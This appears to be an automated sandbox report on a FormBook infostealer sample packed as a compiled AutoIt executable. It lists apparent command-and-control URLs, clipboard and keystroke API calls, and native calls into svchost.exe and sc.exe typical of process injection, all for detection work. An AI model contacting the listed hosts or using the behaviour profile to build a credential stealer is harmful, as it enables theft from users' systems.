                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachedate: Mon, 02 Dec 2024 09:57:28 GMTserver: LiteSpeedcontent-encoding: gzipvary: Accept-Encodingtransfer-encoding: chunkedconnection: closeData Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: a
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlcache-control: private, no-cache, max-age=0pragma: no-cachecontent-length: 1249date: Mon, 02 Dec 2024 09:57:31 GMTserver: LiteSpeedconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75
                Source: sc.exe, 00000004.00000002.60945232501.0000000003EF4000.00000004.10000000.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000002.60943858639.0000000002FC4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.60549139633.0000000002AC4000.00000004.80000000.00040000.00000000.sdmpString found in binary or memory: http://bloodbalancecaps.shop/7n6c/?qfsT1X=ePeKNPyUeLpNn1ut9QVp
                Source: aTYBQVHvJYFlI.exe, 00000005.00000002.60940863079.0000000000CF3000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.laohub10.net
                Source: aTYBQVHvJYFlI.exe, 00000005.00000002.60940863079.0000000000CF3000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.laohub10.net/dfeq/
                Source: sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                Source: sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                Source: 04j58b6g.4.drString found in binary or memory: https://duckduckgo.com/ac/?q=
                Source: sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmp, 04j58b6g.4.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
                Source: 04j58b6g.4.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                Source: sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gemini.google.com/app?q=
                Source: sc.exe, 00000004.00000002.60939755365.000000000300A000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60939755365.0000000003026000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60437212053.0000000003026000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/
                Source: sc.exe, 00000004.00000002.60939755365.000000000300A000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60939755365.0000000003026000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60437212053.0000000003026000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com//
                Source: sc.exe, 00000004.00000002.60939755365.000000000300A000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000002.60939755365.0000000003026000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60437212053.0000000003026000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/v104
                Source: sc.exe, 00000004.00000002.60939755365.0000000002FEE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrd?lcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=1
                Source: sc.exe, 00000004.00000002.60939755365.0000000002FBC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
                Source: sc.exe, 00000004.00000003.60436318769.0000000007F50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdres://C:
                Source: sc.exe, 00000004.00000002.60946576863.0000000007FE6000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmp, 04j58b6g.4.drString found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
                Source: sc.exe, 00000004.00000002.60946576863.0000000007FE6000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmp, 04j58b6g.4.drString found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                Source: sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                Source: sc.exe, 00000004.00000003.60442042588.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
                Source: 04j58b6g.4.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00564164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00564164
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00564164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00564164
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00563F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00563F66
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_0055001C
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0057CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0057CABC

                E-Banking Fraud

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.6a0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.6a0000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.60939034602.0000000002CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.60942122166.0000000004350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.60942320274.0000000003090000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60248720122.00000000006A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60250384900.0000000005600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.60942493865.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60249438261.00000000030B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.60940863079.0000000000CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

                System Summary

                barindex
                Binary is likely a compiled AutoIt script file
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: This is a third-party compiled AutoIt script.0_2_004F3B3A
                Source: lKvXJ7VVCK.exeString found in binary or memory: This is a third-party compiled AutoIt script.
                Source: lKvXJ7VVCK.exe, 00000000.00000000.59685071028.00000000005A4000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_95f52438-6
                Source: lKvXJ7VVCK.exe, 00000000.00000000.59685071028.00000000005A4000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_3074c61e-3
                Source: lKvXJ7VVCK.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_cc85fb59-9
                Source: lKvXJ7VVCK.exeString found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`memstr_65ff96c8-6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006CCDA3 NtClose,2_2_006CCDA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172A80 NtClose,LdrInitializeThunk,2_2_03172A80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172D10 NtQuerySystemInformation,LdrInitializeThunk,2_2_03172D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031734E0 NtCreateMutant,LdrInitializeThunk,2_2_031734E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03174260 NtSetContextThread,2_2_03174260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03174570 NtSuspendThread,2_2_03174570
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172B10 NtAllocateVirtualMemory,2_2_03172B10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172B00 NtQueryValueKey,2_2_03172B00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172B20 NtQueryInformationProcess,2_2_03172B20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172B90 NtFreeVirtualMemory,2_2_03172B90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172B80 NtCreateKey,2_2_03172B80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172BC0 NtQueryInformationToken,2_2_03172BC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172BE0 NtQueryVirtualMemory,2_2_03172BE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172A10 NtWriteFile,2_2_03172A10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172AA0 NtQueryInformationFile,2_2_03172AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172AC0 NtEnumerateValueKey,2_2_03172AC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031729D0 NtWaitForSingleObject,2_2_031729D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031729F0 NtReadFile,2_2_031729F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172F00 NtCreateFile,2_2_03172F00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172F30 NtOpenDirectoryObject,2_2_03172F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172FB0 NtSetValueKey,2_2_03172FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172E00 NtQueueApcThread,2_2_03172E00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172E50 NtCreateSection,2_2_03172E50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172E80 NtCreateProcessEx,2_2_03172E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172EB0 NtProtectVirtualMemory,2_2_03172EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172ED0 NtResumeThread,2_2_03172ED0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172EC0 NtQuerySection,2_2_03172EC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172D50 NtWriteVirtualMemory,2_2_03172D50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172DA0 NtReadVirtualMemory,2_2_03172DA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172DC0 NtAdjustPrivilegesToken,2_2_03172DC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172C10 NtOpenProcess,2_2_03172C10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172C30 NtMapViewOfSection,2_2_03172C30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172C20 NtSetInformationFile,2_2_03172C20
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172C50 NtUnmapViewOfSection,2_2_03172C50
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172CD0 NtEnumerateKey,2_2_03172CD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03172CF0 NtDelayExecution,2_2_03172CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031738D0 NtGetContextThread,2_2_031738D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03173C30 NtOpenProcessToken,2_2_03173C30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03173C90 NtOpenThread,2_2_03173C90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03554260 NtSetContextThread,LdrInitializeThunk,4_2_03554260
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03554570 NtSuspendThread,LdrInitializeThunk,4_2_03554570
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552B10 NtAllocateVirtualMemory,LdrInitializeThunk,4_2_03552B10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552B00 NtQueryValueKey,LdrInitializeThunk,4_2_03552B00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552BC0 NtQueryInformationToken,LdrInitializeThunk,4_2_03552BC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552B90 NtFreeVirtualMemory,LdrInitializeThunk,4_2_03552B90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552B80 NtCreateKey,LdrInitializeThunk,4_2_03552B80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552A10 NtWriteFile,LdrInitializeThunk,4_2_03552A10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552AC0 NtEnumerateValueKey,LdrInitializeThunk,4_2_03552AC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552A80 NtClose,LdrInitializeThunk,4_2_03552A80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035529F0 NtReadFile,LdrInitializeThunk,4_2_035529F0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552F00 NtCreateFile,LdrInitializeThunk,4_2_03552F00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552E50 NtCreateSection,LdrInitializeThunk,4_2_03552E50
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552E00 NtQueueApcThread,LdrInitializeThunk,4_2_03552E00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552ED0 NtResumeThread,LdrInitializeThunk,4_2_03552ED0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552D10 NtQuerySystemInformation,LdrInitializeThunk,4_2_03552D10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552DA0 NtReadVirtualMemory,LdrInitializeThunk,4_2_03552DA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552C50 NtUnmapViewOfSection,LdrInitializeThunk,4_2_03552C50
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552C30 NtMapViewOfSection,LdrInitializeThunk,4_2_03552C30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552CF0 NtDelayExecution,LdrInitializeThunk,4_2_03552CF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035534E0 NtCreateMutant,LdrInitializeThunk,4_2_035534E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035538D0 NtGetContextThread,LdrInitializeThunk,4_2_035538D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552B20 NtQueryInformationProcess,4_2_03552B20
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552BE0 NtQueryVirtualMemory,4_2_03552BE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552AA0 NtQueryInformationFile,4_2_03552AA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_035529D0 NtWaitForSingleObject,4_2_035529D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552F30 NtOpenDirectoryObject,4_2_03552F30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552FB0 NtSetValueKey,4_2_03552FB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552EC0 NtQuerySection,4_2_03552EC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552E80 NtCreateProcessEx,4_2_03552E80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552EB0 NtProtectVirtualMemory,4_2_03552EB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552D50 NtWriteVirtualMemory,4_2_03552D50
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552DC0 NtAdjustPrivilegesToken,4_2_03552DC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552C10 NtOpenProcess,4_2_03552C10
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552C20 NtSetInformationFile,4_2_03552C20
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03552CD0 NtEnumerateKey,4_2_03552CD0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03553C30 NtOpenProcessToken,4_2_03553C30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_03553C90 NtOpenThread,4_2_03553C90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02D09640 NtCreateFile,4_2_02D09640
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02D097B0 NtReadFile,4_2_02D097B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02D09AC0 NtAllocateVirtualMemory,4_2_02D09AC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02D098B0 NtDeleteFile,4_2_02D098B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 4_2_02D09960 NtClose,4_2_02D09960
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0055A1EF: GetFullPathNameW,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_0055A1EF
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00548310 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00548310
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005551BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_005551BD
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0051D9750_2_0051D975
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004FFCE00_2_004FFCE0
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005121C50_2_005121C5
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005262D20_2_005262D2
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005703DA0_2_005703DA
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0052242E0_2_0052242E
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005125FA0_2_005125FA
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0054E6160_2_0054E616
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005066E10_2_005066E1
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004FE6A00_2_004FE6A0
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0052878F0_2_0052878F
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005708570_2_00570857
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005268440_2_00526844
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005088080_2_00508808
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005588890_2_00558889
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0051CB210_2_0051CB21
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00526DB60_2_00526DB6
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00506F9E0_2_00506F9E
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005030300_2_00503030
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0051F1D90_2_0051F1D9
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005131870_2_00513187
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F12870_2_004F1287
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005114840_2_00511484
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005055200_2_00505520
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005176960_2_00517696
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005057600_2_00505760
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005119780_2_00511978
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00529AB50_2_00529AB5
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00577DDB0_2_00577DDB
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00511D900_2_00511D90
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0051BDA60_2_0051BDA6
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004FDF000_2_004FDF00
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00503FE00_2_00503FE0
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00EA55980_2_00EA5598
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B8C132_2_006B8C13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A31902_2_006A3190
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006CF3C32_2_006CF3C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B04032_2_006B0403
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B06232_2_006B0623
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006B6E132_2_006B6E13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006AE6132_2_006AE613
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006AE7632_2_006AE763
